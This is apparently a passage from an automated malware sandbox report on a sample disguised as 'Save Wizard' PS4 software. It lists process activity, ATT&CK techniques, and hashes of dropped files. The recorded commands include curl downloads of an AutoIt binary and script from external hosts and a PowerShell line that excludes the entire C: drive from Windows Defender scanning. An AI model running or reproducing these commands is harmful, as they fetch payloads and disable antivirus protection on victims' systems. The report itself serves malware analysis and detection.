"C:\Windows\System32\cmd.exe" /c curl https://cdn.discordapp.com/attachments/531227037579345940/914273423725846578/AutoIt3.exe --output AutoIt3.exe | clip
4⤵
PID:1968

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl https://sincheats.com/gas/run.au3 --output run.au3 | clip
4⤵
PID:560

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl https://sincheats.com/gas/run.au3 --output C:\ProgramData\EdgeData\run.au3 | clip
4⤵
PID:1744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_E5BD.ps1 -paths 'C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard','C:\Users\Admin\AppData\Roaming\SaveWiz inc','C:\Users\Admin\AppData\Roaming\SaveWiz inc' -retry_count 10"
3⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1564

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Windows\system32\DrvInst.exe
DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot14" "" "" "60919e20f" "0000000000000000" "00000000000005A0" "00000000000005B4"
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1976

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\AI_E5BD.ps1
MD5
31e1ff54955cedd19c6e6932f10f7c55

SHA1
0b45e8fc0fb965d2a98ac1be82a3cbbe19fbd0f8

SHA256
4ceb0eb297d9c6b2815b953b584a134838417a3db6691bcfc4d015f537e758fd

SHA512
cb339d3409ec87dd70824d9b5b03d3b8b1ecb45af74090305e1c078daee9dca02fbcd53e014ac410eab8d4aa6177821405e6c138a2efec2940aa645c4d970ce9

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\PS4SAVEWIZARD\PS4SAVEWIZARD.dll
MD5
897ca0836df7450082a666c3eb54884f

SHA1
993c06e824b158cd2df52283f3b2784b28089d36

SHA256
24748afdd647bcf3be291910d88d8b8b79062fa0af9700d00bfd724af88a77cc

SHA512
647e6881e1b7acc4c53459fe780651d39a1016ef1c59da82cd469768b77f2064da329ed703d0548b12811cd8147e7febd5487d384ce0a967f9242d01cb0584b2

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\PS4SAVEWIZARD\PS4SAVEWIZARD.exe
MD5
a42fe5f4d4d30da09a31b721bdc006a7

SHA1
b24636539fe1758501ba0f30da92f2c1f24ecf38

SHA256
0fc80fb8e0dbc50e338127f17b0a31f521a6c0a220620e7e71ac71efc0c7cb61

SHA512
d1aeead8f9cfe0ff190b04420e792fd1a75216cfafe624725768a25f8125754de2f20bfb9bb79d6dcd69a72bbb1d2a904f479bdf1faf8acb77536ca29286f2fc

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\PS4SAVEWIZARD\PS4SAVEWIZARD.exe
MD5
a42fe5f4d4d30da09a31b721bdc006a7

SHA1
b24636539fe1758501ba0f30da92f2c1f24ecf38

SHA256
0fc80fb8e0dbc50e338127f17b0a31f521a6c0a220620e7e71ac71efc0c7cb61

SHA512
d1aeead8f9cfe0ff190b04420e792fd1a75216cfafe624725768a25f8125754de2f20bfb9bb79d6dcd69a72bbb1d2a904f479bdf1faf8acb77536ca29286f2fc

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\PS4SAVEWIZARD\PS4SAVEWIZARD.exe.manifest
MD5
40d927f29252eb0fbc5e22ad85852605

SHA1
244a4dec6e31f750b131d5e4ab149d904077c405

SHA256
051a061730819ebe2b9fd8e74fb326cc27526893eb78e690dd97d7068996aee7

SHA512
621336201fd15aee2982f48aef77394c5cbef442dfdc4edbd7f71bccf8bce79b5725e824bacace59bdf5c41f55325744de5670d8f3cb81cd04e7a2485942c3f7

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\aipackagechainer.exe
MD5
3563ae6b46b899129a49428aae61e1d4

SHA1
877868a1cd7799b17ef64c3c8282cd6d4b077cc9

SHA256
b8607c4530a0b895aec9e9c29c64c0f370f446dc2eb7541ce1b331cd915a2529

SHA512
6b95ad08cb74368d9ada95a7b5aab996eaa3b2b034c1354c1d171c8c32c7e491eec9bb33aebdf4ef66d0b6a666a744256443b7e7c339e7cf144167b906180b79

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\aipackagechainer.exe
MD5
3563ae6b46b899129a49428aae61e1d4

SHA1
877868a1cd7799b17ef64c3c8282cd6d4b077cc9

SHA256
b8607c4530a0b895aec9e9c29c64c0f370f446dc2eb7541ce1b331cd915a2529

SHA512
6b95ad08cb74368d9ada95a7b5aab996eaa3b2b034c1354c1d171c8c32c7e491eec9bb33aebdf4ef66d0b6a666a744256443b7e7c339e7cf144167b906180b79

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\aipackagechainer.ini
MD5
5184e09f08ecc2dbe4d2fd67630d9e4c

SHA1
5dde097a9170e11dce489342a801b39a621aaa8e

SHA256
0363d05c0b31c3df1bee879a40e8d9315608b5263f65c71e59b4e08b27d58373

SHA512
ccc6ccd46266a618760d180677e48187c0f072ba2c0252331fd73bd92999c74c2e66a0b268c8dab797c90fa52850d9c01a9516a72be5c5d9c28b83e4efa6f8f2

Download Submit
C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\file_deleter.ps1
MD5
31e1ff54955cedd19c6e6932f10f7c55

SHA1
0b45e8fc0fb965d2a98ac1be82a3cbbe19fbd0f8

SHA256
4ceb0eb297d9c6b2815b953b584a134838417a3db6691bcfc4d015f537e758fd

SHA512
cb339d3409ec87dd70824d9b5b03d3b8b1ecb45af74090305e1c078daee9dca02fbcd53e014ac410eab8d4aa6177821405e6c138a2efec2940aa645c4d970ce9

Download Submit
C:\Windows\Installer\MSI33BD.tmp
MD5
0981d5c068a9c33f4e8110f81ffbb92e

SHA1
badb871adf6f24aba6923b9b21b211cea2aeca77

SHA256
b3f5e10fb1b7352a6dbbcbb10ed605a8fda24f3f9c31f954835bd5a41eb6ea68

SHA512
59cccdcde1964e61fa63078fde776eee91c462d7d3db308ada02e27e6ce584c41ad1f7970642e02ce331d805215a2cc868fb0512c01accfa70cda52e9329e1d8

Download Submit
C:\Windows\Installer\MSI363E.tmp
MD5
0981d5c068a9c33f4e8110f81ffbb92e

SHA1
badb871adf6f24aba6923b9b21b211cea2aeca77

SHA256
b3f5e10fb1b7352a6dbbcbb10ed605a8fda24f3f9c31f954835bd5a41eb6ea68

SHA512
59cccdcde1964e61fa63078fde776eee91c462d7d3db308ada02e27e6ce584c41ad1f7970642e02ce331d805215a2cc868fb0512c01accfa70cda52e9329e1d8

Download Submit
C:\Windows\Installer\MSI3729.tmp
MD5
0981d5c068a9c33f4e8110f81ffbb92e

SHA1
badb871adf6f24aba6923b9b21b211cea2aeca77

SHA256
b3f5e10fb1b7352a6dbbcbb10ed605a8fda24f3f9c31f954835bd5a41eb6ea68

SHA512
59cccdcde1964e61fa63078fde776eee91c462d7d3db308ada02e27e6ce584c41ad1f7970642e02ce331d805215a2cc868fb0512c01accfa70cda52e9329e1d8

Download Submit
C:\Windows\Installer\MSI3814.tmp
MD5
5f1b243813a203c66ba735139d8ce0c7

SHA1
c60a57668d348a61e4e2f12115afb9f9024162ba

SHA256
52d5b228221cd5276e4ee2a038e0ce0cf494d5af9c23ac45dcbfadc3115c8cb2

SHA512
083c6d1af44847db4b6fb90349234128141a838d1d438d5c24f5063539a8087f0814d06cfa162aeace20e162292f64c7635b4a0e81b2ca972706cfbc484adfb5

Download Submit
C:\Windows\Installer\MSI3AB6.tmp
MD5
5f1b243813a203c66ba735139d8ce0c7

SHA1
c60a57668d348a61e4e2f12115afb9f9024162ba

SHA256
52d5b228221cd5276e4ee2a038e0ce0cf494d5af9c23ac45dcbfadc3115c8cb2

SHA512
083c6d1af44847db4b6fb90349234128141a838d1d438d5c24f5063539a8087f0814d06cfa162aeace20e162292f64c7635b4a0e81b2ca972706cfbc484adfb5

Download Submit
\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\PS4SAVEWIZARD\PS4SAVEWIZARD.exe
MD5
a42fe5f4d4d30da09a31b721bdc006a7

SHA1
b24636539fe1758501ba0f30da92f2c1f24ecf38

SHA256
0fc80fb8e0dbc50e338127f17b0a31f521a6c0a220620e7e71ac71efc0c7cb61

SHA512
d1aeead8f9cfe0ff190b04420e792fd1a75216cfafe624725768a25f8125754de2f20bfb9bb79d6dcd69a72bbb1d2a904f479bdf1faf8acb77536ca29286f2fc

Download Submit
\Windows\Installer\MSI33BD.tmp
MD5
0981d5c068a9c33f4e8110f81ffbb92e

SHA1
badb871adf6f24aba6923b9b21b211cea2aeca77

SHA256
b3f5e10fb1b7352a6dbbcbb10ed605a8fda24f3f9c31f954835bd5a41eb6ea68

SHA512
59cccdcde1964e61fa63078fde776eee91c462d7d3db308ada02e27e6ce584c41ad1f7970642e02ce331d805215a2cc868fb0512c01accfa70cda52e9329e1d8

Download Submit
\Windows\Installer\MSI363E.tmp
MD5
0981d5c068a9c33f4e8110f81ffbb92e

SHA1
badb871adf6f24aba6923b9b21b211cea2aeca77

SHA256
b3f5e10fb1b7352a6dbbcbb10ed605a8fda24f3f9c31f954835bd5a41eb6ea68

SHA512
59cccdcde1964e61fa63078fde776eee91c462d7d3db308ada02e27e6ce584c41ad1f7970642e02ce331d805215a2cc868fb0512c01accfa70cda52e9329e1d8

Download Submit
\Windows\Installer\MSI3729.tmp
MD5
0981d5c068a9c33f4e8110f81ffbb92e

SHA1
badb871adf6f24aba6923b9b21b211cea2aeca77

SHA256
b3f5e10fb1b7352a6dbbcbb10ed605a8fda24f3f9c31f954835bd5a41eb6ea68

SHA512
59cccdcde1964e61fa63078fde776eee91c462d7d3db308ada02e27e6ce584c41ad1f7970642e02ce331d805215a2cc868fb0512c01accfa70cda52e9329e1d8

Download Submit
\Windows\Installer\MSI3814.tmp
MD5
5f1b243813a203c66ba735139d8ce0c7

SHA1
c60a57668d348a61e4e2f12115afb9f9024162ba

SHA256
52d5b228221cd5276e4ee2a038e0ce0cf494d5af9c23ac45dcbfadc3115c8cb2

SHA512
083c6d1af44847db4b6fb90349234128141a838d1d438d5c24f5063539a8087f0814d06cfa162aeace20e162292f64c7635b4a0e81b2ca972706cfbc484adfb5

Download Submit
\Windows\Installer\MSI3AB6.tmp
MD5
5f1b243813a203c66ba735139d8ce0c7

SHA1
c60a57668d348a61e4e2f12115afb9f9024162ba

SHA256
52d5b228221cd5276e4ee2a038e0ce0cf494d5af9c23ac45dcbfadc3115c8cb2

SHA512
083c6d1af44847db4b6fb90349234128141a838d1d438d5c24f5063539a8087f0814d06cfa162aeace20e162292f64c7635b4a0e81b2ca972706cfbc484adfb5

Download Submit
memory/560-85-0x0000000000000000-mapping.dmp

Download
memory/1036-76-0x0000000000000000-mapping.dmp

Download
memory/1036-82-0x0000000001E10000-0x0000000001E11000-memory.dmp

Filesize
4KB

Download
memory/1564-99-0x00000000022F0000-0x0000000002F3A000-memory.dmp

Filesize
12.3MB

Download
memory/1564-98-0x00000000022F0000-0x0000000002F3A000-memory.dmp

Filesize
12.3MB

Download
memory/1564-97-0x00000000022F0000-0x0000000002F3A000-memory.dmp

Filesize
12.3MB

Download
memory/1564-95-0x0000000000000000-mapping.dmp

Download
memory/1592-54-0x000007FEFBC11000-0x000007FEFBC13000-memory.dmp

Filesize
8KB

Download
memory/1612-92-0x0000000002664000-0x0000000002667000-memory.dmp

Filesize
12KB

Download
memory/1612-93-0x000000000266B000-0x000000000268A000-memory.dmp

Filesize
124KB

Download
memory/1612-87-0x0000000000000000-mapping.dmp

Download
memory/1612-89-0x000007FEF2C70000-0x000007FEF37CD000-memory.dmp

Filesize
11.4MB

Download
memory/1612-90-0x0000000002660000-0x0000000002662000-memory.dmp

Filesize
8KB

Download
memory/1612-91-0x0000000002662000-0x0000000002664000-memory.dmp

Filesize
8KB

Download
memory/1744-86-0x0000000000000000-mapping.dmp

Download
memory/1764-57-0x0000000076151000-0x0000000076153000-memory.dmp

Filesize
8KB

Download
memory/1764-56-0x0000000000000000-mapping.dmp

Download
memory/1872-83-0x0000000000000000-mapping.dmp

Download
memory/1920-74-0x0000000074D41000-0x0000000074D43000-memory.dmp

Filesize
8KB

Download
memory/1920-69-0x0000000000000000-mapping.dmp

Download
memory/1920-73-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/1968-84-0x0000000000000000-mapping.dmp

Download